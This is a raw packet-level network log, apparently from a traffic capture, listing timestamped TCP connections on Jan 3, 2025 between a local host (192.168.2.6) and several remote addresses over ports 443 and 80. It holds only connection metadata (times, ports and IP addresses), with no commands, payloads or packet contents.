Jan 3, 2025 15:21:41.782749891 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.785432100 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.785556078 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.785572052 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.786725044 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.790677071 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.795880079 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.795936108 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.796750069 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.796792030 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.798702955 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.801275969 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.806191921 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.806268930 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.806289911 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.806309938 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.806673050 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.810765028 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.815063953 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.815110922 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.815620899 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.815634966 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.818797112 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.819231987 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.823477030 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.823513031 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.826724052 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.826741934 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.827502012 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.827559948 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.827568054 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.828027964 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.832137108 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.836277008 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.836319923 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.838728905 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.838738918 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.839245081 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.842271090 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.842278957 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.842442989 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.842938900 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.845406055 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.845458984 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.846719027 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.846726894 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.847433090 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.847642899 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.850104094 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.850136042 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.850241899 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.850249052 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.850481987 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:41.850692034 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.859034061 CET	49947	443	192.168.2.6	172.217.23.110
Jan 3, 2025 15:21:41.859051943 CET	443	49947	172.217.23.110	192.168.2.6
Jan 3, 2025 15:21:42.547270060 CET	49873	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:42.547523975 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:42.553132057 CET	80	49873	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:42.553271055 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:42.553344011 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:42.553464890 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:42.553486109 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:42.559161901 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:42.559173107 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:43.851736069 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:43.852312088 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:44.028208971 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:44.032987118 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:44.047728062 CET	49921	443	192.168.2.6	216.58.206.68
Jan 3, 2025 15:21:44.827269077 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:44.827361107 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:49.833214998 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:49.833280087 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:56.463058949 CET	49965	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:56.463344097 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:56.467951059 CET	80	49965	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:56.468163967 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:56.468266964 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:56.468408108 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:56.473146915 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:57.727535963 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:57.727607012 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.265662909 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.270533085 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483293056 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483318090 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483333111 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483345985 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483364105 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483375072 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483386040 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483392954 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483403921 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483412027 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483418941 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.483423948 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.483484030 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.483508110 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.488277912 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.488292933 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.488305092 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.488348961 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.488389015 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608027935 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608048916 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608062029 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608074903 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608119011 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608144999 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608186007 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608206034 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608232021 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608258963 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608342886 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608393908 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608407021 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608418941 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608515024 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.608880043 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.608938932 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609019041 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609031916 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609050989 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609061956 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609071970 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609076023 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609090090 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609103918 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609143972 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609860897 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609880924 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609894037 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609905005 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609911919 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609920025 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609925032 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.609952927 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.609978914 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.610651016 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.610671043 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.610702038 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.610716105 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.696736097 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.696902037 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.697091103 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.697201967 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.733707905 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733726978 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733740091 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733752966 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733798981 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733829975 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.733887911 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.733985901 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.733999014 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734011889 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734023094 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734038115 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.734070063 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.734415054 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734469891 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.734611988 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734623909 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734637976 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734649897 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.734663010 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.734685898 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.734709978 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735224009 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735238075 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735250950 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735261917 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735268116 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735275984 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735279083 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735292912 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735292912 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735323906 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735347986 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735349894 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735368967 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735382080 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735393047 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735404968 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735414028 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735414982 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735428095 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735439062 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735440969 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735450983 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.735464096 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735486984 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.735513926 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736165047 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736190081 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736207008 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736217976 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736238003 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736258030 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736258984 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736274004 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736289024 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736300945 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736314058 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736339092 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.736341000 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.736385107 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.737246037 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737257957 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737271070 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737281084 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737293959 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737297058 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.737306118 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.737318993 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.737353086 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.781548977 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.781589031 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.781599998 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.781698942 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858017921 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858036995 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858050108 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858061075 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858072996 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858083963 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858094931 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858108044 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858123064 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858133078 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858170033 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858181000 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858186007 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858203888 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858210087 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858223915 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858223915 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858236074 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858247995 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858256102 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858289003 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858650923 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858680010 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858691931 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858711004 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858722925 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858733892 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.858779907 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.858808994 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859122038 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859134912 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859147072 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859164000 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859174013 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859177113 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859193087 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859210014 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859216928 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859222889 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859231949 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859236002 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859252930 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859276056 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859792948 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859812021 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859837055 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859848022 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.859874964 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.859899044 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860044003 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860055923 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860066891 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860090971 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860094070 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860106945 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860106945 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860117912 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860130072 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860141039 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860171080 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860733986 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860749006 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860759974 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860770941 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860783100 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860789061 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860795021 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860807896 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860809088 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860820055 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860829115 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860831976 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860842943 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860850096 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860855103 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860867977 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.860882044 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.860909939 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861430883 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861457109 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861469030 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861479044 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861505032 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861509085 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861517906 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861530066 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861545086 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861562967 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861573935 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861574888 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861588001 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861598015 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.861603022 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.861635923 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.869452953 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.869491100 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.869502068 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.869513035 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.869535923 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.869571924 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.944678068 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944693089 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944705009 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944756985 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944768906 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944782019 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944792986 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944806099 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944804907 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.944819927 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944827080 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.944848061 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.944868088 CET	50021	80	192.168.2.6	185.215.113.206
Jan 3, 2025 15:21:58.944889069 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944917917 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944927931 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944946051 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944956064 CET	80	50021	185.215.113.206	192.168.2.6
Jan 3, 2025 15:21:58.944963932 CET	50021	80	192.168.2.6	185.215.113.206
